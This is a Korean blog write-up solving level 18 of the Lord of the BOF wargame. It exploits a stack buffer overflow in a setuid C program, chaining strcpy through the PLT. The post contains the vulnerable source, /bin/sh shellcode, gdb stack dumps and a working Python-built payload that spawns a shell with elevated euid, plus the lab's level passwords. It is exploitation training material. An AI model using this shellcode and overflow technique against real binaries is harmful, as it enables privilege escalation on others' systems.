[해커스쿨 LOB] Level18: Succubus >> Nightmare

두비니

·

2020. 8. 30. 20:00

 

 

 


Level 18. Succubus >> Nightmare

Theme: PLT


login

id : succubus
pw : here to stay

 

 

bash2 & 코드 확인

[succubus@localhost succubus]$ bash2
[succubus@localhost succubus]$ cat nightmare.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - nightmare
        - PLT
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dumpcode.h>

main(int argc, char *argv[])
{
        char buffer[40];
        char *addr;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // check address
        addr = (char *)&strcpy;
        if(memcmp(argv[1]+44, &addr, 4) != 0){
                printf("You must fall in love with strcpy()\n");
                exit(0);
        }

        // overflow!
        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

        // dangerous waterfall
        memset(buffer+40+8, 'A', 4);
}

 

제한조건

1. 매개변수 최소 1개 넘겨주기 (argv error)

2. ret부분은 무조건 strcpy의 주소 (you must fall in love with strcpy())

3. ret+4부분 4바이트는 AAAA로 초기화(dangerous waterfall)

 

 

3번이 있는 이유는 RTL chaining을 방지하기 위함인 것 같네요. 이 문제는 strcpy함수를 이용하여 ret+4, 즉 strcpy()의 리턴 주소를 buffer로 바꿀겁니다. 그럼 payload는 다음과 같이 설계할 수 있습니다.

 

 

shellcode 주소[4] + shellcode[25] + dummy[15] + strcpy주소[4] + dummy[4] + (buffer+48)주소[4] + (buffer)주소[4]

 

 

strcpy의 원형은 char* strcpy(char* dest, const char* origin)이므로 위와 같이 payload를 설계하였다.

그럼 구할건

 

1. shellcode주소

2. shellcode

3. strcpy주소

4. buffer/buffer+48주소

 

2. shellcode

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80

 

3. strcpy주소

(gdb) disas main
...(생략)
0x804871b <main+103>:   mov    (%eax),%edx
0x804871d <main+105>:   push   %edx
0x804871e <main+106>:   lea    0xffffffd8(%ebp),%eax
0x8048721 <main+109>:   push   %eax
0x8048722 <main+110>:   call   0x8048410 <strcpy>
0x8048727 <main+115>:   add    $0x8,%esp
0x804872a <main+118>:   lea    0xffffffd8(%ebp),%eax
0x804872d <main+121>:   push   %eax
0x804872e <main+122>:   push   $0x8048825
0x8048733 <main+127>:   call   0x80483e0 <printf>

main을 분석하면 알 수 있죠.

strcpy주소: 0x8048410

 

 

1. shellcode주소 / 4. buffer/buffer+48주소

(gdb) r `python -c 'print "\xbf\xbf\xbf\xbf"+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x90"*15+"\x10\x84\x04\x08"+"AAAA"+"\xbf\xbf\xbf\xbf"+"\xff\xff\xff\xff"'`
Starting program: /home/succubus/nightmarl `python -c 'print "\xbf\xbf\xbf\xbf"+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x90"*15+"\x10\x84\x04\x08"+"AAAA"+"\xbf\xbf\xbf\xbf"+"\xff\xff\xff\xff"'`

Breakpoint 2, 0x8048727 in main ()
(gdb) x/100x $esp
0xbffffa94:     0xbffffaa0      0xbffffc2c      0x08048410      0xbfbfbfbf
0xbffffaa4:     0x6850c031      0x68732f2f      0x69622f68      0x50e3896e
0xbffffab4:     0x89e18953      0xcd0bb0c2      0x90909080      0x90909090
0xbffffac4:     0x90909090      0x90909090      0x08048410      0x41414141
0xbffffad4:     0xbfbfbfbf      0xbffffb00      0x40013868      0x00000002
0xbffffae4:     0x08048420      0x00000000      0x08048441      0x080486b4
0xbffffaf4:     0x00000002      0xbffffb14      0x08048350      0x0804877c

여태껏 구한걸 가지고 gdb로 분석해보았습니다. 보아하니 shellcode의 주소는 0xbffffaa4, buffer의 시작주소는 0xbffffaa0, buffer+48의 주소는 0xbffffad0이네요. payload를 보내봅시다.

 

 

::payload::

`python -c 'print "\xa4\xfa\xff\xbf"+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x90"*15+"\x10\x84\x04\x08"+"AAAA"+"\xd0\xfa\xff\xbf"+"\xa0\xfa\xff\xbf"'`

 

[succubus@localhost succubus]$ ./nightmarl `python -c 'print "\xa4\xfa\xff\xbf"+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x90"*15+"\x10\x84\x04\x08"+"AAAA"+"\xd0\xfa\xff\xbf"+"\xa0\xfa\xff\xbf"'`
▒▒▒▒1▒Ph//shh/bin▒▒PS▒▒°
                        ̀▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒AAAA▒▒▒▒▒▒▒▒
Segmentation fault (core dumped)

core기릿

 

(gdb) x/100x $esp-0x100
...(생략)
0xbffffa74:     0x08049874      0x08048273      0x4001f7f0      0xbffffad8
0xbffffa84:     0x4000a970      0xbffffae0      0x00000400      0x4000ae60
0xbffffa94:     0xbffffb24      0xbffffad8      0x0804874b      0xbffffae0
0xbffffaa4:     0x00000041      0x00000004      0x08048410      0xbffffaa4
0xbffffab4:     0x6850c031      0x68732f2f      0x69622f68      0x50e3896e
0xbffffac4:     0x89e18953      0xcd0bb0c2      0x90909080      0xbffffae0
0xbffffad4:     0x90900041      0x4000ae60      0x90909090      0x41414141   //here!
0xbffffae4:     0xbffffad0      0xbffffaa0      0x40013800      0x00000002
0xbffffaf4:     0x08048420      0x00000000      0x08048441      0x080486b4
0xbffffb04:     0x00000002      0xbffffb24      0x08048350      0x0804877c
0xbffffb14:     0x4000ae60      0xbffffb1c      0x40013e90      0x00000002
0xbffffb24:     0xbffffc1b      0xbffffc27      0x00000000      0xbffffc64
0xbffffb34:     0xbffffc77      0xbffffc90      0xbffffcaf      0xbffffcd1
0xbffffb44:     0xbffffcdf      0xbffffea2      0xbffffec1      0xbffffedf

 

buffer+48의 주소는 0xbffffae0, buffer의 주소는 0xbffffab0, shellcode의 주소는 0xbffffab4로 밀렸네요.

 

 

[succubus@localhost succubus]$ ./nightmare `python -c 'print "\xb4\xfa\xff\xbf"+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x90"*15+"\x10\x84\x04\x08"+"AAAA"+"\xe0\xfa\xff\xbf"+"\xb0\xfa\xff\xbf"'`
▒▒▒▒1▒Ph//shh/bin▒▒PS▒▒°
                        ̀▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒AAAA▒▒▒▒▒▒▒▒
bash$ id
uid=517(succubus) gid=517(succubus) euid=518(nightmare) egid=518(nightmare) groups=517(succubus)
bash$ my-pass
euid = 518
beg for me

 

다음다음!